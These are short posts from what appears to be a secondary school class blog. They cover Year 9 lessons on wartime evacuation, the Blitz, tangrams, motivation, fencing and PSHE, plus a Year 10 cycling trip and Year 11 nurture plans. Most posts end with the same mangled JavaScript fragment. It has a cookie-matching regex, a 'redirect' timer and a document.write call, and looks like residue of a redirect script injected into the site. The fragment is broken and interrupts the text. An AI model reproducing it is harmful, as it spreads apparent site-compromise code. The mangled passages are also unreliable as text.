This morning, Y9 enjoyed an immersive lesson on “What it was like to be evacuated.” A big thank you to Miss Watts, Mr Cadman, Miss Kirkbride, Mr Ralphs and Miss Glyde for taking part and resourcing the lesson. The pupils loved watching “Mary” and “Edward” being evacuated to the countryside. They took notes in their diary’s of the sights, sounds and feelings of the experience and had discussions around what they would take in their suitcase. We ended by drawing a story map to help them write in next week’s lesson. Take a look at our pictures! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

This week, Y9 have been looking at Tangrams. Students were asked to make rabbits, boats, even a running man out of all of the shapes given. Everyone in year 9 definately used their growth mindset to complete this activity! They showed resilience and motivation throughout. We loved the team work from everyone! Well done Year 9!! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

Year 10 Class trip to the National Cycling centre The year ten’s embarked on the journey of a life time, to the Manchester National Cycling Centre and what a day they had in store. First on the cards was the Oylmpic BMX Bike and Stunt track, armed with helmets, pads and bikes, they took on the monsterous track, it was a concrete giant, just waiting to be defeated. Twists, turns, and jumps, the class took to them like an eagle to the sky! Nothing phased them. Team Awesome strike again. The next task was to tackle the Olympic Velodrome. As they walked in they were faced with the colossal track, fit…

This half term, Y9 have been focussing on the SEAL strand “Motivation”. Pupils worked in two groups and given 5 minutes to make the longest paper chain. The winning team is the team with the longest chain. Group 1 received sweets for each chain they complete and group 2 received nothing. After the activity, we discussed what motivated the group to make the longest chain the sweets/the competition element.   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

Y9 have enjoyed taking part in Fencing during PE this week. They have mastered the basic moves and competed in a tournament. Have a look at our pictures! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

Year 11 are looking forward to working with Miss Moxon-Waddell in nurture activities over the next few weeks. We will be looking at our next steps after we have completed GCSE’s and start applying to colleges and apprenticeships. All the best, Year 11 (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

Y9 enjoyed an immersive lesson on World War II on Tuesday. We discussed what the Blitz was, how to keep safe during the Blitz,  what to take into an air raid shelter and what it was like during an air raid. Y9 had the opportunity to build their own air raid shelters and look at some WW2 artefacts. Have a look at some of our pictures!   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

Year 9 had an in-depth discussion in PSHE around how risky potential situations could be and how those risks could be reduced. Pupils made some great contributions around the situations.   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}